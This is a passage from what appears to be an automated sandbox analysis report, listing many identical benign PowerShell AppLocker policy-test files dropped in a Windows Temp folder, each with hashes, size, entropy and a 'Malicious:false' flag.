                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eoa3l1pr.1vk.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_exaltd5h.xup.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fvz5va2c.nhw.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gukqg5gr.qfz.psm1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h0lnb325.zyr.psm1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ht1ibnhl.e4p.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_idgzrvnx.jts.psm1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kta5vpsx.uem.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kuqjuwew.2jg.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l0pzfubd.i1n.psm1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lsek3wem.ak5.psm1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lturyukq.pug.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lyhdttgd.2qj.psm1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n5xbv0m3.4rv.psm1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ns2vmmic.p1y.psm1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nvdrnf1h.vvi.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nyqtqhx0.4az.psm1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q0r04yog.bvg.psm1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r51ffmnn.zia.psm1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rh5nvktm.m32.psm1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rictrcb3.pp3.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rioo30nu.ee2.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rjtgquhe.i43.psm1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s0kp5oum.5ll.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sa42wup1.rzr.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_si3vjuii.kq2.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_smqvn0us.siy.psm1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
